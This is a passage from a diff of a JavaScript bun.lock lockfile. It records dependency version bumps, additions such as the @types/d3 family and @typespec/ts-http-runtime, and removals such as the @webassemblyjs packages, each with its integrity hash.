["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="], + "@smithy/util-utf8": ["@smithy/util-utf8@4.2.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw=="], - "@smithy/util-waiter": ["@smithy/util-waiter@4.0.6", "", { "dependencies": { "@smithy/abort-controller": "^4.0.4", "@smithy/types": "^4.3.1", "tslib": "^2.6.2" } }, "sha512-slcr1wdRbX7NFphXZOxtxRNA7hXAAtJAXJDE/wdoMAos27SIquVCKiSqfB6/28YzQ8FCsB5NKkhdM5gMADbqxg=="], + "@smithy/util-waiter": ["@smithy/util-waiter@4.2.11", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-x7Rh2azQPs3XxbvCzcttRErKKvLnbZfqRf/gOjw2pb+ZscX88e5UkRPCB67bVnsFHxayvMvmePfKTqsRb+is1A=="], - "@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@smithy/uuid": ["@smithy/uuid@1.1.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g=="], "@stitches/core": ["@stitches/core@1.2.8", "", {}, "sha512-Gfkvwk9o9kE9r9XNBmJRfV8zONvXThnm1tcuojL04Uy5uRyqg93DC83lDebl0rocZCfKSjUv+fWYtMQmEDJldg=="], @@ -1883,10 +2011,6 @@ "@tokenizer/token": ["@tokenizer/token@0.3.0", "", {}, "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="], - "@tootallnate/once": ["@tootallnate/once@2.0.0", "", {}, "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A=="], - - "@trysound/sax": ["@trysound/sax@0.2.0", "", {}, "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA=="], - "@tsconfig/node10": ["@tsconfig/node10@1.0.11", "", {}, "sha512-DcRjDCujK/kCk/cUe8Xz8ZSpm8mS3mNNpta+jGCA6USEDfktlNvm1+IuZ9eTcDbNk41BHwpHHeW+N1lKCz4zOw=="], "@tsconfig/node12": ["@tsconfig/node12@1.0.11", "", {}, "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag=="], @@ -1913,9 +2037,69 @@ "@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="], - "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="], + "@types/d3": ["@types/d3@7.4.3", "", { "dependencies": { "@types/d3-array": "*", "@types/d3-axis": "*", "@types/d3-brush": "*", "@types/d3-chord": "*", "@types/d3-color": "*", "@types/d3-contour": "*", "@types/d3-delaunay": "*", "@types/d3-dispatch": "*", "@types/d3-drag": "*", "@types/d3-dsv": "*", "@types/d3-ease": "*", "@types/d3-fetch": "*", "@types/d3-force": "*", "@types/d3-format": "*", "@types/d3-geo": "*", "@types/d3-hierarchy": "*", "@types/d3-interpolate": "*", "@types/d3-path": "*", "@types/d3-polygon": "*", "@types/d3-quadtree": "*", "@types/d3-random": "*", "@types/d3-scale": "*", "@types/d3-scale-chromatic": "*", "@types/d3-selection": "*", "@types/d3-shape": "*", "@types/d3-time": "*", "@types/d3-time-format": "*", "@types/d3-timer": "*", "@types/d3-transition": "*", "@types/d3-zoom": "*" } }, "sha512-lZXZ9ckh5R8uiFVt8ogUNf+pIrK4EsWrx2Np75WvF/eTpJ0FMHNhjXk8CKEx/+gpHbNQyJWehbFaTvqmHWB3ww=="], - "@types/diff": ["@types/diff@6.0.0", "", {}, "sha512-dhVCYGv3ZSbzmQaBSagrv1WJ6rXCdkyTcDyoNu1MD8JohI7pR7k8wdZEm+mvdxRKXyHVwckFzWU1vJc+Z29MlA=="], + "@types/d3-array": ["@types/d3-array@3.2.2", "", {}, "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw=="], + + "@types/d3-axis": ["@types/d3-axis@3.0.6", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-pYeijfZuBd87T0hGn0FO1vQ/cgLk6E1ALJjfkC0oJ8cbwkZl3TpgS8bVBLZN+2jjGgg38epgxb2zmoGtSfvgMw=="], + + "@types/d3-brush": ["@types/d3-brush@3.0.6", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-nH60IZNNxEcrh6L1ZSMNA28rj27ut/2ZmI3r96Zd+1jrZD++zD3LsMIjWlvg4AYrHn/Pqz4CF3veCxGjtbqt7A=="], + + "@types/d3-chord": ["@types/d3-chord@3.0.6", "", {}, "sha512-LFYWWd8nwfwEmTZG9PfQxd17HbNPksHBiJHaKuY1XeqscXacsS2tyoo6OdRsjf+NQYeB6XrNL3a25E3gH69lcg=="], + + "@types/d3-color": ["@types/d3-color@3.1.3", "", {}, "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A=="], + + "@types/d3-contour": ["@types/d3-contour@3.0.6", "", { "dependencies": { "@types/d3-array": "*", "@types/geojson": "*" } }, "sha512-BjzLgXGnCWjUSYGfH1cpdo41/hgdWETu4YxpezoztawmqsvCeep+8QGfiY6YbDvfgHz/DkjeIkkZVJavB4a3rg=="], + + "@types/d3-delaunay": ["@types/d3-delaunay@6.0.4", "", {}, "sha512-ZMaSKu4THYCU6sV64Lhg6qjf1orxBthaC161plr5KuPHo3CNm8DTHiLw/5Eq2b6TsNP0W0iJrUOFscY6Q450Hw=="], + + "@types/d3-dispatch": ["@types/d3-dispatch@3.0.7", "", {}, "sha512-5o9OIAdKkhN1QItV2oqaE5KMIiXAvDWBDPrD85e58Qlz1c1kI/J0NcqbEG88CoTwJrYe7ntUCVfeUl2UJKbWgA=="], + + "@types/d3-drag": ["@types/d3-drag@3.0.7", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-HE3jVKlzU9AaMazNufooRJ5ZpWmLIoc90A37WU2JMmeq28w1FQqCZswHZ3xR+SuxYftzHq6WU6KJHvqxKzTxxQ=="], + + "@types/d3-dsv": ["@types/d3-dsv@3.0.7", "", {}, "sha512-n6QBF9/+XASqcKK6waudgL0pf/S5XHPPI8APyMLLUHd8NqouBGLsU8MgtO7NINGtPBtk9Kko/W4ea0oAspwh9g=="], + + "@types/d3-ease": ["@types/d3-ease@3.0.2", "", {}, "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA=="], + + "@types/d3-fetch": ["@types/d3-fetch@3.0.7", "", { "dependencies": { "@types/d3-dsv": "*" } }, "sha512-fTAfNmxSb9SOWNB9IoG5c8Hg6R+AzUHDRlsXsDZsNp6sxAEOP0tkP3gKkNSO/qmHPoBFTxNrjDprVHDQDvo5aA=="], + + "@types/d3-force": ["@types/d3-force@3.0.10", "", {}, "sha512-ZYeSaCF3p73RdOKcjj+swRlZfnYpK1EbaDiYICEEp5Q6sUiqFaFQ9qgoshp5CzIyyb/yD09kD9o2zEltCexlgw=="], + + "@types/d3-format": ["@types/d3-format@3.0.4", "", {}, "sha512-fALi2aI6shfg7vM5KiR1wNJnZ7r6UuggVqtDA+xiEdPZQwy/trcQaHnwShLuLdta2rTymCNpxYTiMZX/e09F4g=="], + + "@types/d3-geo": ["@types/d3-geo@3.1.0", "", { "dependencies": { "@types/geojson": "*" } }, "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ=="], + + "@types/d3-hierarchy": ["@types/d3-hierarchy@3.1.7", "", {}, "sha512-tJFtNoYBtRtkNysX1Xq4sxtjK8YgoWUNpIiUee0/jHGRwqvzYxkq0hGVbbOGSz+JgFxxRu4K8nb3YpG3CMARtg=="], + + "@types/d3-interpolate": ["@types/d3-interpolate@3.0.4", "", { "dependencies": { "@types/d3-color": "*" } }, "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA=="], + + "@types/d3-path": ["@types/d3-path@3.1.1", "", {}, "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg=="], + + "@types/d3-polygon": ["@types/d3-polygon@3.0.2", "", {}, "sha512-ZuWOtMaHCkN9xoeEMr1ubW2nGWsp4nIql+OPQRstu4ypeZ+zk3YKqQT0CXVe/PYqrKpZAi+J9mTs05TKwjXSRA=="], + + "@types/d3-quadtree": ["@types/d3-quadtree@3.0.6", "", {}, "sha512-oUzyO1/Zm6rsxKRHA1vH0NEDG58HrT5icx/azi9MF1TWdtttWl0UIUsjEQBBh+SIkrpd21ZjEv7ptxWys1ncsg=="], + + "@types/d3-random": ["@types/d3-random@3.0.3", "", {}, "sha512-Imagg1vJ3y76Y2ea0871wpabqp613+8/r0mCLEBfdtqC7xMSfj9idOnmBYyMoULfHePJyxMAw3nWhJxzc+LFwQ=="], + + "@types/d3-scale": ["@types/d3-scale@4.0.9", "", { "dependencies": { "@types/d3-time": "*" } }, "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw=="], + + "@types/d3-scale-chromatic": ["@types/d3-scale-chromatic@3.1.0", "", {}, "sha512-iWMJgwkK7yTRmWqRB5plb1kadXyQ5Sj8V/zYlFGMUBbIPKQScw+Dku9cAAMgJG+z5GYDoMjWGLVOvjghDEFnKQ=="], + + "@types/d3-selection": ["@types/d3-selection@3.0.11", "", {}, "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w=="], + + "@types/d3-shape": ["@types/d3-shape@3.1.8", "", { "dependencies": { "@types/d3-path": "*" } }, "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w=="], + + "@types/d3-time": ["@types/d3-time@3.0.4", "", {}, "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g=="], + + "@types/d3-time-format": ["@types/d3-time-format@4.0.3", "", {}, "sha512-5xg9rC+wWL8kdDj153qZcsJ0FWiFt0J5RB6LYUNZjwSnesfblqrI/bJ1wBdJ8OQfncgbJG5+2F+qfqnqyzYxyg=="], + + "@types/d3-timer": ["@types/d3-timer@3.0.2", "", {}, "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw=="], + + "@types/d3-transition": ["@types/d3-transition@3.0.9", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-uZS5shfxzO3rGlu0cC3bjmMFKsXv+SmZZcgp0KD22ts4uGXp5EVYGzu/0YdwZeKmddhcAccYtREJKkPfXkZuCg=="], + + "@types/d3-zoom": ["@types/d3-zoom@3.0.8", "", { "dependencies": { "@types/d3-interpolate": "*", "@types/d3-selection": "*" } }, "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw=="], + + "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="], "@types/estree": ["@types/estree@1.0.6", "", {}, "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw=="], @@ -1927,6 +2111,8 @@ "@types/express-session": ["@types/express-session@1.18.2", "", { "dependencies": { "@types/express": "*" } }, "sha512-k+I0BxwVXsnEU2hV77cCobC08kIsn4y44C3gC0b46uxZVMaXA04lSPgRLR/bSL2w0t0ShJiG8o4jPzRG/nscFg=="], + "@types/geojson": ["@types/geojson@7946.0.16", "", {}, "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg=="], + "@types/hast": ["@types/hast@3.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ=="], "@types/http-errors": ["@types/http-errors@2.0.4", "", {}, "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA=="], @@ -2011,10 +2197,14 @@ "@types/webidl-conversions": ["@types/webidl-conversions@7.0.3", "", {}, "sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA=="], + "@types/whatwg-mimetype": ["@types/whatwg-mimetype@3.0.2", "", {}, "sha512-c2AKvDT8ToxLIOUlN51gTiHXflsfIFisS4pO7pDPoKouJCESkhZnEy623gwP9laCy5lnLDAw1vAzu2vM2YLOrA=="], + "@types/whatwg-url": ["@types/whatwg-url@11.0.5", "", { "dependencies": { "@types/webidl-conversions": "*" } }, "sha512-coYR071JRaHa+xoEvvYqvnIHaVqaYrLPbsufM9BF63HkwI5Lgmy2QR8Q5K/lYDYo5AK82wOvSOS0UsLTpTG7uQ=="], "@types/winston": ["@types/winston@2.4.4", "", { "dependencies": { "winston": "*" } }, "sha512-BVGCztsypW8EYwJ+Hq+QNYiT/MUyCif0ouBH+flrY66O5W+KIXAMML6E/0fJpm7VjIzgangahl5S03bJJQGrZw=="], + "@types/ws": ["@types/ws@8.18.1", "", { "dependencies": { "@types/node": "*" } }, "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg=="], + "@types/xml-encryption": ["@types/xml-encryption@1.2.4", "", { "dependencies": { "@types/node": "*" } }, "sha512-I69K/WW1Dv7j6O3jh13z0X8sLWJRXbu5xnHDl9yHzUNDUBtUoBY058eb5s+x/WG6yZC1h8aKdI2EoyEPjyEh+Q=="], "@types/xml2js": ["@types/xml2js@0.4.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-4YnrRemBShWRO2QjvUin8ESA41rH+9nQGLUGZV/1IDhi3SL9OhdpNC/MrulTWuptXKwhx/aDxE7toV0f/ypIXQ=="], @@ -2039,6 +2229,8 @@ "@typescript-eslint/visitor-keys": ["@typescript-eslint/visitor-keys@8.24.0", "", { "dependencies": { "@typescript-eslint/types": "8.24.0", "eslint-visitor-keys": "^4.2.0" } }, "sha512-kArLq83QxGLbuHrTMoOEWO+l2MwsNS2TGISEdx8xgqpkbytB07XmlQyQdNDrCc1ecSqx0cnmhGvpX+VBwqqSkg=="], + "@typespec/ts-http-runtime": ["@typespec/ts-http-runtime@0.3.4", "", { "dependencies": { "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.0", "tslib": "^2.6.2" } }, "sha512-CI0NhTrz4EBaa0U+HaaUZrJhPoso8sG7ZFya8uQoBA57fjzrjRSv87ekCjLZOFExN+gXE/z0xuN2QfH4H2HrLQ=="], + "@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="], "@unrs/resolver-binding-android-arm-eabi": ["@unrs/resolver-binding-android-arm-eabi@1.11.1", "", { "os": "android", "cpu": "arm" }, "sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw=="], @@ -2079,48 +2271,14 @@ "@unrs/resolver-binding-win32-x64-msvc": ["@unrs/resolver-binding-win32-x64-msvc@1.11.1", "", { "os": "win32", "cpu": "x64" }, "sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g=="], - "@vitejs/plugin-react": ["@vitejs/plugin-react@4.3.4", "", { "dependencies": { "@babel/core": "^7.26.0", "@babel/plugin-transform-react-jsx-self": "^7.25.9", "@babel/plugin-transform-react-jsx-source": "^7.25.9", "@types/babel__core": "^7.20.5", "react-refresh": "^0.14.2" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0" } }, "sha512-SCCPBJtYLdE8PX/7ZQAs1QAZ8Jqwih+0VBLum1EGqmCCQal+MIUqLCzj3ZUy8ufbC0cAM4LRlSTm7IQJwWT4ug=="], + "@upsetjs/venn.js": ["@upsetjs/venn.js@2.0.0", "", { "optionalDependencies": { "d3-selection": "^3.0.0", "d3-transition": "^3.0.1" } }, "sha512-WbBhLrooyePuQ1VZxrJjtLvTc4NVfpOyKx0sKqioq9bX1C1m7Jgykkn8gLrtwumBioXIqam8DLxp88Adbue6Hw=="], - "@webassemblyjs/ast": ["@webassemblyjs/ast@1.12.1", "", { "dependencies": { "@webassemblyjs/helper-numbers": "1.11.6", "@webassemblyjs/helper-wasm-bytecode": "1.11.6" } }, "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg=="], - - "@webassemblyjs/floating-point-hex-parser": ["@webassemblyjs/floating-point-hex-parser@1.11.6", "", {}, "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw=="], - - "@webassemblyjs/helper-api-error": ["@webassemblyjs/helper-api-error@1.11.6", "", {}, "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q=="], - - "@webassemblyjs/helper-buffer": ["@webassemblyjs/helper-buffer@1.12.1", "", {}, "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw=="], - - "@webassemblyjs/helper-numbers": ["@webassemblyjs/helper-numbers@1.11.6", "", { "dependencies": { "@webassemblyjs/floating-point-hex-parser": "1.11.6", "@webassemblyjs/helper-api-error": "1.11.6", "@xtuc/long": "4.2.2" } }, "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g=="], - - "@webassemblyjs/helper-wasm-bytecode": ["@webassemblyjs/helper-wasm-bytecode@1.11.6", "", {}, "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA=="], - - "@webassemblyjs/helper-wasm-section": ["@webassemblyjs/helper-wasm-section@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/wasm-gen": "1.12.1" } }, "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g=="], - - "@webassemblyjs/ieee754": ["@webassemblyjs/ieee754@1.11.6", "", { "dependencies": { "@xtuc/ieee754": "^1.2.0" } }, "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg=="], - - "@webassemblyjs/leb128": ["@webassemblyjs/leb128@1.11.6", "", { "dependencies": { "@xtuc/long": "4.2.2" } }, "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ=="], - - "@webassemblyjs/utf8": ["@webassemblyjs/utf8@1.11.6", "", {}, "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA=="], - - "@webassemblyjs/wasm-edit": ["@webassemblyjs/wasm-edit@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/helper-wasm-section": "1.12.1", "@webassemblyjs/wasm-gen": "1.12.1", "@webassemblyjs/wasm-opt": "1.12.1", "@webassemblyjs/wasm-parser": "1.12.1", "@webassemblyjs/wast-printer": "1.12.1" } }, "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g=="], - - "@webassemblyjs/wasm-gen": ["@webassemblyjs/wasm-gen@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/ieee754": "1.11.6", "@webassemblyjs/leb128": "1.11.6", "@webassemblyjs/utf8": "1.11.6" } }, "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w=="], - - "@webassemblyjs/wasm-opt": ["@webassemblyjs/wasm-opt@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/wasm-gen": "1.12.1", "@webassemblyjs/wasm-parser": "1.12.1" } }, "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg=="], - - "@webassemblyjs/wasm-parser": ["@webassemblyjs/wasm-parser@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-api-error": "1.11.6", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/ieee754": "1.11.6", "@webassemblyjs/leb128": "1.11.6", "@webassemblyjs/utf8": "1.11.6" } }, "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ=="], - - "@webassemblyjs/wast-printer": ["@webassemblyjs/wast-printer@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@xtuc/long": "4.2.2" } }, "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA=="], + "@vitejs/plugin-react": ["@vitejs/plugin-react@5.1.4", "", { "dependencies": { "@babel/core": "^7.29.0", "@babel/plugin-transform-react-jsx-self": "^7.27.1", "@babel/plugin-transform-react-jsx-source": "^7.27.1", "@rolldown/pluginutils": "1.0.0-rc.3", "@types/babel__core": "^7.20.5", "react-refresh": "^0.18.0" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-VIcFLdRi/VYRU8OL/puL7QXMYafHmqOnwTZY50U1JPlCNj30PxCMx65c494b1K9be9hX83KVt0+gTEwTWLqToA=="], "@xmldom/is-dom-node": ["@xmldom/is-dom-node@1.0.1", "", {}, "sha512-CJDxIgE5I0FH+ttq/Fxy6nRpxP70+e2O048EPe85J2use3XKdatVM7dDVvFNjQudd9B49NPoZ+8PG49zj4Er8Q=="], "@xmldom/xmldom": ["@xmldom/xmldom@0.8.10", "", {}, "sha512-2WALfTl4xo2SkGCYRt6rDTFfk9R1czmBvUQy12gK2KuRKIpWEhcbbzy8EZXtz/jkRqHX8bFEc6FC1HjX4TUWYw=="], - "@xtuc/ieee754": ["@xtuc/ieee754@1.2.0", "", {}, "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="], - - "@xtuc/long": ["@xtuc/long@4.2.2", "", {}, "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="], - - "abab": ["abab@2.0.6", "", {}, "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA=="], - "abbrev": ["abbrev@1.1.1", "", {}, "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="], "abstract-logging": ["abstract-logging@2.0.1", "", {}, "sha512-2BjRTZxTPvheOvGbBslFSYOUkr+SjPtOnrLP33f+VIWLzezQpZcqVg7ja3L4dBXmzzgwT+a029jRx5PCi3JuiA=="], @@ -2129,8 +2287,6 @@ "acorn": ["acorn@8.15.0", "", { "bin": "bin/acorn" }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="], - "acorn-globals": ["acorn-globals@7.0.1", "", { "dependencies": { "acorn": "^8.1.0", "acorn-walk": "^8.0.2" } }, "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q=="], - "acorn-import-attributes": ["acorn-import-attributes@1.9.5", "", { "peerDependencies": { "acorn": "^8" } }, "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ=="], "acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="], @@ -2139,12 +2295,10 @@ "agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="], - "ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="], + "ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="], "ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" }, 